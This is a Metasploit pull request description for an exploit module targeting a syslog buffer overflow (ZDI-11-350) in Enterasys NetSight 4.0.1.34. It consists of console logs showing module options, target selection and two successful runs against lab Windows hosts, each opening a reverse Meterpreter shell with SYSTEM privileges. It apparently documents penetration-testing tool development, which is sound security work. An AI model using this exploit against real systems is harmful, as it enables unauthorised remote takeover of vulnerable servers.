rapid7/metasploit-framework — pull request #1233 by jvazquez-r7 (2013-01-03 18:20:25+00:00)
Title: Added module for ZDI-11-350

Tested with Enterasys NetSight 4.0.1.34 on Windows XP SP3 and Windows 2003 SP2

msf exploit(enterasys_netsight_syslog_bof) > reload
[*] Reloading module...
msf exploit(enterasys_netsight_syslog_bof) > show options

Module options (exploit/windows/misc/enterasys_netsight_syslog_bof):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.146 yes The target address
RPORT 514 yes The target port

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 192.168.1.128 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
1 Enterasys NetSight 4.0.1.34 / Windows 2003 SP2

msf exploit(enterasys_netsight_syslog_bof) > show targets

Exploit targets:

Id Name
-- ----
0 Enterasys NetSight 4.0.1.34 / Windows XP SP3
1 Enterasys NetSight 4.0.1.34 / Windows 2003 SP2

msf exploit(enterasys_netsight_syslog_bof) > set target 1
target => 1
msf exploit(enterasys_netsight_syslog_bof) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444
[*] 192.168.1.146:514 - Trying to exploit Enterasys NetSight 4.0.1.34 / Windows 2003 SP2...
[*] Sending stage (752128 bytes) to 192.168.1.146
[*] Meterpreter session 4 opened (192.168.1.128:4444 -> 192.168.1.146:3321) at 2013-01-03 17:26:14 +0100

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : JUAN-6ED9DB6CA8
OS : Windows .NET Server (Build 3790, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.146 - Meterpreter session 4 closed. Reason: User exit
msf exploit(enterasys_netsight_syslog_bof) > set target 0
target => 0
msf exploit(enterasys_netsight_syslog_bof) > set rhost 192.168.1.145
rhost => 192.168.1.145
msf exploit(enterasys_netsight_syslog_bof) > exploit

[*] Started reverse handler on 192.168.1.128:4444
[*] 192.168.1.145:514 - Trying to exploit Enterasys NetSight 4.0.1.34 / Windows XP SP3...
[*] Sending stage (752128 bytes) to 192.168.1.145
[*] Meterpreter session 5 opened (192.168.1.128:4444 -> 192.168.1.145:2839) at 2013-01-03 17:27:46 +0100

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.145 - Meterpreter session 5 closed. Reason: User exit
msf exploit(enterasys_netsight_syslog_bof) >